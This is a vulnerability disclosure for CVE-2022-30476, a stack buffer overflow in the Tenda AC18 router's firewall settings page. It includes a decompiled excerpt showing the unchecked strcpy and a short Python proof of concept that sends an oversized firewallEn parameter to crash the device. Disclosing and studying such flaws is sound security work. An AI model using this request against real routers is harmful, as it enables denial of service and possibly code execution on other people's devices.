

# Tenda Router AC18 Vulnerability

This vulnerability lies in the /goform/SetFirewallCfg page which influences the lastest version of Tenda Router AC18. (The latest version is AC18\_V15.03.05.19(6318))

## **Vulnerability Description**

There is a stack-based buffer overflow vulnerability in function formSetFirewallCfg.

In function formSetFirewallCfg it reads user provided parameter firewallEn into src, and this variable is passed into function strcpy without any length check, which may overflow the stack-based buffer dest.

```
41
    v28 = 0;
42
     v11 = 0;
43
     v12 = 0;
     v13 = 0;
45
     memset(v14, 0, sizeof(v14));
     memset(v9, 0, sizeof(v9));
46
    src = (char *)websgetvar(a1,
                                      "firewallEn", (int)"1111");
47
     value = (char *)strlen(src);
if ( (unsigned int) Value > 3 )
48
49
50
51
       strcpy(dest, src);
       GetValue((int)"security.ddos.map", (int)s);
52
       GetValue((int) "firewall.pingwan", (int)v18);
53
54
       sprintf(
55
         nptr,
         "%c,1500;%c,1500;%c,1500",
56
57
          (unsigned __int8)dest[0],
58
         (unsigned __int8)dest[2],
(unsigned __int8)dest[1]);
59
60
       SetValue((int)"security.ddos.map", (int)nptr);
       SetValue((int)"firewall.pingwan", (int)&dest[3]);
61
```

So by requesting the page /goform/SetFirewallCfg, the attacker can easily perform a **Deny of Service Attack** or **Remote Code Execution** with carefully crafted overflow data.

#### **PoC**

```
import requests

IP = "10.10.10.1"

url = f"http://{IP}/goform/SetFirewallCfg?"

url += "firewallEn=" + "s" * 0x500

response = requests.get(url)
```

### **Timeline**

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30476)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41847)

## Acknowledge

Credit to @peanuts and @cylin from IIE, CAS.